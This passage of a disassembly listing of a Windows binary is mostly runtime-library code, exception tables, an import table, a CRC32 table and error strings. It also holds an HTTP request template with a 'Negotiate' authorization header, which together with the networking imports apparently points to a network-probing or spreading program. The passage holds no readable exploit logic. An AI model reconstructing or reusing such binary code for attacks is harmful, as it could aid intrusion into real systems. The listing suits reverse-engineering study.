edi pop esi retn 4 sub_41649D endp ; =============== S U B R O U T I N E ======================================= sub_4164E7 proc near ; CODE XREF: sub_4161C8+2Bp ; sub_41627E+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_417C88 jz short locret_4164FC push dword ptr [ecx+4] call sub_40BE38 pop ecx locret_4164FC: ; CODE XREF: sub_4164E7+Aj retn sub_4164E7 endp ; =============== S U B R O U T I N E ======================================= sub_4164FD proc near ; DATA XREF: .nsp0:00417C8Co mov eax, [ecx+4] test eax, eax jnz short locret_416509 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_416509: ; CODE XREF: sub_4164FD+5j retn sub_4164FD endp ; =============== S U B R O U T I N E ======================================= sub_41650A proc near ; CODE XREF: .nsp0:00416522p mov dword ptr [ecx], offset off_417CA8 mov ecx, [ecx+4] test ecx, ecx jz short locret_41651E push ecx call sub_40B771 pop ecx locret_41651E: ; CODE XREF: sub_41650A+Bj retn sub_41650A endp ; --------------------------------------------------------------------------- loc_41651F: ; DATA XREF: .nsp0:off_417CA8o push esi mov esi, ecx call sub_41650A test byte ptr [esp+8], 1 jz short loc_416535 push esi call sub_40BE38 pop ecx loc_416535: ; CODE XREF: .nsp0:0041652Cj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41653B proc near ; CODE XREF: sub_4160E0+54p ; sub_4161AB+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_417CB0 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_417140 ; RaiseException pop edi pop esi leave retn 8 sub_41653B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_416578 proc near ; DATA XREF: .nsp0:00417E5Co ; FUNCTION CHUNK AT 00402583 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_402583 sub_416578 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_416596 mov ecx, [ebp+8] jmp loc_402583 ; --------------------------------------------------------------------------- locret_416596: ; CODE XREF: .nsp0:00416588j retn ; --------------------------------------------------------------------------- loc_416597: ; DATA XREF: sub_40215Eo mov eax, offset dword_417E60 jmp loc_40BA83 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_402583 ; --------------------------------------------------------------------------- loc_4165AC: ; DATA XREF: .nsp0:00417E88o lea ecx, [ebp-1Ch] jmp loc_402583 ; --------------------------------------------------------------------------- loc_4165B4: ; DATA XREF: sub_4022FDo mov eax, offset dword_417E8C jmp loc_40BA83 ; --------------------------------------------------------------------------- align 10h loc_4165C0: ; DATA XREF: sub_402864o mov eax, offset dword_417EDC jmp loc_40BA83 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_402583 ; --------------------------------------------------------------------------- loc_4165D4: ; DATA XREF: sub_4160E0o mov eax, offset dword_417F78 jmp loc_40BA83 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] jmp sub_4164E7 ; --------------------------------------------------------------------------- loc_4165E8: ; DATA XREF: sub_41613Ao mov eax, offset dword_417FA0 jmp loc_40BA83 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_4164E7 ; --------------------------------------------------------------------------- loc_4165FC: ; DATA XREF: sub_4161C8o mov eax, offset dword_417FE8 jmp loc_40BA83 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_4164E7 ; --------------------------------------------------------------------------- loc_416610: ; DATA XREF: sub_416221o mov eax, offset dword_418010 jmp loc_40BA83 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_4164E7 ; --------------------------------------------------------------------------- loc_416624: ; DATA XREF: sub_41627Eo mov eax, offset dword_418038 jmp loc_40BA83 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-20h] jmp loc_402583 ; --------------------------------------------------------------------------- loc_416638: ; DATA XREF: sub_41630Co mov eax, offset dword_4180A0 jmp loc_40BA83 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_4164E7 ; --------------------------------------------------------------------------- loc_41664C: ; DATA XREF: sub_416366o mov eax, offset dword_4180C8 jmp loc_40BA83 ; --------------------------------------------------------------------------- align 4 dd 26Ah dup(0) dword_417000 dd 77E7C657h ; DATA XREF: .nsp0:00406074r ; sub_40A1F9+24r ... dword_417004 dd 77E6BD68h ; DATA XREF: sub_415DF7+173r dword_417008 dd 77E77F2Eh ; DATA XREF: sub_415B4F+3Er ; sub_415B4F+261r dword_41700C dd 77E762D0h ; DATA XREF: sub_415B4F+5Br ; sub_415B4F+B9r dword_417010 dd 77E70192h ; DATA XREF: sub_4155CD+F9r dword_417014 dd 77E73FF9h ; DATA XREF: sub_414113+2Cr dword_417018 dd 77E7FF2Eh ; DATA XREF: sub_413FE5:loc_414035r ; sub_41405C:loc_4140AFr dword_41701C dd 77E7C866h ; DATA XREF: sub_413E07+3Fr ; sub_413E07+12Dr dword_417020 dd 77E641EBh ; DATA XREF: sub_413E07+59r ; sub_413E07+8Dr dword_417024 dd 77E7176Ch ; DATA XREF: sub_413DD8+8r dword_417028 dd 77E7339Ch ; DATA XREF: sub_413DA0+Cr dword_41702C dd 77E7C9E7h ; DATA XREF: sub_413D82+5r ; sub_413D93+6r dword_417030 dd 77E78406h ; DATA XREF: sub_412D79+FFr ; sub_412D79+166r ... dword_417034 dd 77E79C3Dh ; DATA XREF: sub_412D79+158r ; sub_41303D+143r dword_417038 dd 77E7C931h ; DATA XREF: sub_412D79+19Dr dword_41703C dd 77E77EE1h ; DATA XREF: sub_412C47+9r dword_417040 dd 77E61BE6h ; DATA XREF: sub_401141+1C0r ; sub_401141+279r ... dword_417044 dd 77F5157Dh ; DATA XREF: sub_401141+12Br ; sub_401141+24Cr ... dword_417048 dd 77E7AC37h ; DATA XREF: sub_401141+10Br ; sub_401141+22Er ... dword_41704C dd 77E7A099h ; DATA XREF: sub_401141+58r ; sub_401141+166r ... dword_417050 dd 77E73C49h ; DATA XREF: sub_40154B+1B3r ; sub_401704+251r ... dword_417054 dd 77F7E300h ; DATA XREF: sub_40154B+D5r dword_417058 dd 77F7E21Fh ; DATA XREF: sub_40154B+9Br dword_41705C dd 77E7751Ah ; DATA XREF: sub_40154B+2Cr ; sub_4032EE+C9r ... dword_417060 dd 77E7C706h ; DATA XREF: sub_401704+77r dword_417064 dd 77F53275h ; DATA XREF: sub_401704+6Br ; sub_401704+241r dword_417068 dd 77E70F89h ; DATA XREF: sub_403145+Dr ; sub_40CC92+Dr dword_41706C dd 77E75CB5h ; DATA XREF: sub_4032EE+465r ; sub_403B83+DFr ... dword_417070 dd 77E61BB8h ; DATA XREF: sub_4032EE+44Fr ; sub_403B83+A7r ... dword_417074 dd 77E77963h ; DATA XREF: sub_4032EE+224r ; sub_403B83+B8r ... dword_417078 dd 77E79D8Ch ; DATA XREF: sub_4032EE+137r ; sub_4054C7+AEr ... dword_41707C dd 77E7A837h ; DATA XREF: sub_4032EE+5Dr ; sub_405401+36r ... dword_417080 dd 77E704FCh ; DATA XREF: sub_403B83+74r ; sub_406422+C9r ... dword_417084 dd 77E805D8h ; DATA XREF: sub_4045F0+13Ar ; sub_4045F0+49Br ... dword_417088 dd 77E7A5FDh ; DATA XREF: sub_4045F0+11r ; sub_410715+15r ... dword_41708C dd 77E79F93h ; DATA XREF: sub_4045F0+2r ; sub_4054C7+FBr ... dword_417090 dd 77E76A60h ; DATA XREF: sub_4052BA+2Dr dword_417094 dd 77E71B14h ; DATA XREF: sub_405344+26r dword_417098 dd 77E7166Fh ; DATA XREF: sub_405344+1Dr dword_41709C dd 77E75090h ; DATA XREF: sub_40537F+69r dword_4170A0 dd 77E74D76h ; DATA XREF: sub_40537F+36r dword_4170A4 dd 77E77797h ; DATA XREF: sub_40537F+25r dword_4170A8 dd 77E7011Ah ; DATA XREF: sub_405401+96r dword_4170AC dd 77E73CE2h ; DATA XREF: sub_405401+60r dword_4170B0 dd 77E668D9h ; DATA XREF: sub_4054C7+15Dr dword_4170B4 dd 77E70396h ; DATA XREF: sub_4054C7+126r ; sub_406422+1BEr ... dword_4170B8 dd 77E74CABh ; DATA XREF: sub_4054C7+10Fr ; sub_406422+1A7r ... dword_4170BC dd 77E6AD34h ; DATA XREF: sub_4054C7+35r ; sub_406BAB+1FB8r dword_4170C0 dd 77E79924h ; DATA XREF: sub_411E1B+20Dr ; sub_412C47+7Er ... dword_4170C4 dd 77E77CCEh ; DATA XREF: sub_411E1B+DFr ; sub_411E1B+137r ... dword_4170C8 dd 77E65F4Ch ; DATA XREF: .nsp0:00405F93r dword_4170CC dd 77E79C90h ; DATA XREF: sub_4057AB+Cr ; sub_40D167+10r dword_4170D0 dd 77E616B4h ; DATA XREF: sub_405816+193r ; sub_405AA1+1Fr ... dword_4170D4 dd 77E706B7h ; DATA XREF: sub_405816+184r ; sub_405AA1+10r ... dword_4170D8 dd 77E7513Ch ; DATA XREF: .nsp0:00406000r dword_4170DC dd 77E73628h ; DATA XREF: sub_406422+326r ; sub_406BAB+25FFr ... dword_4170E0 dd 77E80656h ; DATA XREF: sub_406422+252r dword_4170E4 dd 77E6BD13h ; DATA XREF: sub_406422:loc_4065E6r dword_4170E8 dd 77E79D5Bh ; DATA XREF: sub_406422+70r ; sub_406422+2FCr dword_4170EC dd 77E7C2C4h ; DATA XREF: sub_406422+69r dword_4170F0 dd 77E71AFEh ; DATA XREF: sub_406BAB+1E75r dword_4170F4 dd 77E76C1Ah ; DATA XREF: sub_40A1F9+1CFr dword_4170F8 dd 77E64106h ; DATA XREF: sub_40A1F9+1B6r dword_4170FC dd 77E64006h ; DATA XREF: sub_40A1F9+19Fr dword_417100 dd 77E75CEBh ; DATA XREF: sub_40AB8F+27r dword_417104 dd 77F516F8h ; DATA XREF: sub_40B6FD+6Cr ; sub_40C4F8+C6r ... dword_417108 dd 77F51597h ; DATA XREF: sub_40B771+60r ; sub_40EC83+2C5r ... dword_41710C dd 77F6183Eh ; DATA XREF: sub_41643Er dword_417110 dd 77F5722Fh ; DATA XREF: sub_40C4F8+110r ; sub_40C4F8+22Dr ... dword_417114 dd 77E76E3Dh ; DATA XREF: sub_40CC92+6Cr ; sub_414438+38r dword_417118 dd 77E61608h ; DATA XREF: sub_40CC92+17r dword_41711C dd 77E6177Ah ; DATA XREF: sub_40D514+9Fr ; sub_412D79+59r dword_417120 dd 77E7C938h ; DATA XREF: sub_40D514+74r dword_417124 dd 77E7C486h ; DATA XREF: sub_40D514+26r dword_417128 dd 77E7AC5Eh ; DATA XREF: sub_40EA6B+54r dword_41712C dd 77E76E0Bh ; DATA XREF: sub_40EBB3+50r dword_417130 dd 77E7C726h ; DATA XREF: sub_40EBB3+11r dword_417134 dd 77E79E34h ; DATA XREF: sub_40EC83+240r ; sub_40F757+120r ... dword_417138 dd 77E7980Ah ; DATA XREF: sub_40F2B5+76r ; sub_40F366+51r ... dword_41713C dd 77E73196h ; DATA XREF: sub_413DBC+Cr dword_417140 dd 77E6D706h ; DATA XREF: sub_40FF0F+215r ; sub_41653B+2Er dword_417144 dd 77F522F2h ; DATA XREF: sub_411478+58r dword_417148 dd 77E78B82h ; DATA XREF: sub_411848+84r ; sub_411848+155r dword_41714C dd 77E77405h ; DATA XREF: sub_411E1B+5Er ; sub_411E1B+A7r dword_417150 dd 77E781F9h ; DATA XREF: sub_411E1B+42r ; sub_411E1B+14Dr ... dword_417154 dd 77E7849Fh ; DATA XREF: sub_41203F+48r ; sub_41227E+14r ... dword_417158 dd 77E7A13Fh ; DATA XREF: sub_4121D8+2Fr dword_41715C dd 77E6C703h ; DATA XREF: sub_4121D8+1Ar dword_417160 dd 77E78C81h ; DATA XREF: sub_412573+4Fr dword_417164 dd 77EB9A84h ; DATA XREF: sub_412765+138r dword_417168 dd 77E9C5B1h ; DATA XREF: sub_412C47+11Fr dword_41716C dd 77E7C9E1h ; DATA XREF: sub_412C47+CEr dword_417170 dd 77E67702h ; DATA XREF: sub_412C47:loc_412C76r ; sub_412C47+E1r align 8 dword_417178 dd 71AB1836h ; DATA XREF: sub_4043F8+6Er ; sub_404475+8Er dword_41717C dd 71AB41DAh ; DATA XREF: sub_403E11+47r ; sub_4043F8+15r dword_417180 dd 71AB155Ah ; DATA XREF: sub_403E11+9Dr dword_417184 dd 71AB3ECEh ; DATA XREF: sub_403E11+C4r dword_417188 dd 71AB5DE2h ; DATA XREF: sub_403E11+D8r dword_41718C dd 71AB868Dh ; DATA XREF: sub_403E11+17Er dword_417190 dd 71AB12F8h ; DATA XREF: sub_402972+2Cr ; sub_4043F8+35r dword_417194 dd 71AB1746h ; DATA XREF: sub_402972+3Dr ; sub_403E11+B3r ... dword_417198 dd 71AB3E5Dh ; DATA XREF: sub_402972+50r ; sub_4043F8+57r dword_41719C dd 71AB3F8Dh ; DATA XREF: sub_402972+7Br ; sub_403E11+8Dr dword_4171A0 dd 71AB5690h ; DATA XREF: sub_402972+B5r ; sub_402972+28Br ... dword_4171A4 dd 71AB1A6Dh ; DATA XREF: sub_402972+26Fr ; sub_402972:loc_402DC8r ... dword_4171A8 dd 71AB3C22h ; DATA XREF: sub_4023B8+AFr ; sub_402972+15r ... dword_4171AC dd 71AB1AF4h ; DATA XREF: sub_4020C0+12r ; sub_402972+A4r ... dword_4171B0 dd 71AB1890h ; DATA XREF: sub_401F1D+4Cr ; sub_403E11+115r dword_4171B4 dd 71AB1B7Bh ; DATA XREF: sub_416438r align 10h aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4022FD+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_417200 dq 1.388888888888889e-2 ; DATA XREF: sub_402112+2Fr dbl_417208 dq 1.666666666666667e-1 ; DATA XREF: sub_402112+15r dbl_417210 dq 1.333333333333333 ; DATA XREF: sub_40215E+7Ar dword_417218 dd 2 dup(0) ; DATA XREF: sub_4022FD+4Do ; sub_40263D+57o ... dbl_417220 dq -3.0517578125e-5 ; DATA XREF: sub_40301D+1Er dword_417228 dd 0 ; DATA XREF: sub_403245+24r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh byte_417624 db 8Dh ; DATA XREF: sub_40D768+4Ar db 0EFh, 2, 2Dh dbl_417628 dq 9.765625e-4 ; DATA XREF: sub_4032EE+2B8r ; sub_4032EE+2CDr ... dbl_417630 dq 1.0 ; DATA XREF: sub_40B7DA+6Cr ; sub_40B923+6Cr ... dword_417638 dd 0FFFFFFFFh, 40D5EBh, 40D5FFh ; DATA XREF: sub_40D514+5o byte_417644 db 6 ; DATA XREF: sub_40D768:loc_40D7BFr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .nsp0:off_41DBFCo unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: .nsp0:off_41DBF8o align 4 a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_40EA6B+8Eo align 10h a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_40EA6B+4Fo align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aLog_0 db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .nsp0:off_41FC3Co align 10h dbl_4177A0 dq 0.0 ; DATA XREF: sub_4101C2+8Cr ; sub_4101C2+ACr ... dbl_4177A8 dq 4.195835e6 ; DATA XREF: sub_4106D7+Fr dbl_4177B0 dq 3.145727e6 ; DATA XREF: sub_4106D7+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_410715+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_410715o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_41083C+93o align 4 dword_4177E8 dd 0FFFFFFFFh, 410F27h, 410F31h, 0 ; DATA XREF: sub_410EC0+5o dword_4177F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_410FEF+5o dd offset loc_4110AD align 8 dd offset sub_41108B dd offset sub_411095 dword_417810 dd 0FFFFFFFFh, 4112DDh, 4112E1h, 0 ; DATA XREF: sub_411125+5o dword_417820 dd 0FFFFFFFFh, 41133Fh, 411348h, 0 ; DATA XREF: sub_4112E9+5o dword_417830 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4113CC+5o dd offset loc_41141D align 10h dd offset loc_411409 dd offset loc_41140D dword_417848 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_411422+5o dd offset loc_411473 align 8 dd offset loc_41145F dd offset loc_411463 dword_417860 dd 2 dup(0) ; DATA XREF: sub_411E1B+36o ; sub_413E07+39o ... dword_417868 dd 0FFFFFFFFh, 411F2Bh, 411F2Fh, 0FFFFFFFFh, 411FDFh, 411FE3h ; DATA XREF: sub_411E1B+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh dd 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .nsp0:off_420284o db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41303D+119o align 4 asc_417B34 db 0Ah ; DATA XREF: sub_41303D+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41303D+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_41303D+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41303D+7Do align 10h dword_417B70 dd 0FFFFFFFFh, 413F00h, 413F04h ; DATA XREF: sub_413E07+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_414438+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_4149C4+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_4149C4+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_4149C4+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4151C8:loc_4152BDo align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4151C8+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4151C8+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4151C8+ADo align 10h dword_417C10 dd 0FFFFFFFFh, 415D06h, 415D0Ah, 0FFFFFFFFh, 415D75h, 415D79h ; DATA XREF: sub_415B4F+5o dd 417D38h off_417C2C dd offset loc_4162D8 ; DATA XREF: sub_4160E0+4Do ; sub_4162F4+Co dd offset sub_41619E dd offset sub_4162BB aStringTooLong db 'string too long',0 ; DATA XREF: sub_4160E0+1Eo dd offset dword_417D70 off_417C4C dd offset loc_416205 ; DATA XREF: sub_41613A+4Eo ; sub_4161C8+11o ... dd offset sub_41619E dd offset sub_4161AB dword_417C58 dd 0FFFFFFFFh ; DATA XREF: sub_41613A+3Br ; sub_416221+34r dd offset dword_417DC0 off_417C60 dd offset loc_4163C0 ; DATA XREF: sub_41630C+4Do ; sub_4163DC+Co dd offset sub_41619E dd offset sub_4163A3 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41630C+1Eo dd offset dword_417DF0 off_417C88 dd offset sub_416444 ; DATA XREF: sub_416460+8o ; sub_41649D+8o ... dd offset sub_4164FD aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4164FD+7o align 4 dd offset dword_417E38 off_417CA8 dd offset loc_41651F ; DATA XREF: sub_41650Ao ; .nsp0:off_4209A8o ... align 10h dword_417CB0 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_41653B+Eo dd 3, 19930520h, 2 dup(0) off_417CD0 dd offset off_4209A8 ; DATA XREF: .nsp0:00417D20o ; .nsp0:00417D54o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_417CE8 dd offset off_4209C0 ; DATA XREF: .nsp0:00417D1Co ; .nsp0:00417D50o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_417D00 dd offset off_4209E0 ; DATA XREF: .nsp0:00417D18o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_417D00 dd offset off_417CE8 dd offset off_417CD0 dd 0 db 0 ; DATA XREF: .nsp0:00417D48o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 417D18h, 3 dup(0) dd offset off_4209E0 dd offset unk_417D28 align 10h dd offset off_417CE8 dd offset off_417CD0 dword_417D58 dd 4 dup(0) ; DATA XREF: .nsp0:00417D80o dd 2, 417D50h dword_417D70 dd 3 dup(0) ; DATA XREF: .nsp0:00417C48o dd offset off_4209C0 dd offset dword_417D58+8 dd 0 off_417D88 dd offset off_420A00 ; DATA XREF: .nsp0:00417DA0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_417D88 dd offset off_417CE8 dd offset off_417CD0 dword_417DAC dd 3 dup(0) ; DATA XREF: .nsp0:00417DD0o dd 3, 417DA0h dword_417DC0 dd 3 dup(0) ; DATA XREF: .nsp0:00417C5Co dd offset off_420A00 dd offset dword_417DAC+4 dd offset off_417CD0 dword_417DD8 dd 4 dup(0) ; DATA XREF: .nsp0:00417E00o dd 1, 417DD4h dword_417DF0 dd 3 dup(0) ; DATA XREF: .nsp0:00417C84o dd offset off_4209A8 dd offset dword_417DD8+8 align 8 off_417E08 dd offset off_420A20 ; DATA XREF: .nsp0:00417E20o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_417E08 dd 0 db 0 ; DATA XREF: .nsp0:00417E48o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 417E20h dword_417E38 dd 3 dup(0) ; DATA XREF: .nsp0:00417CA4o dd offset off_420A20 dd offset unk_417E28 align 10h dd 0FFFFFFFFh, 416580h, 0 dd offset sub_416578 dword_417E60 dd 19930520h, 2, 417E50h, 4 dup(0) ; DATA XREF: 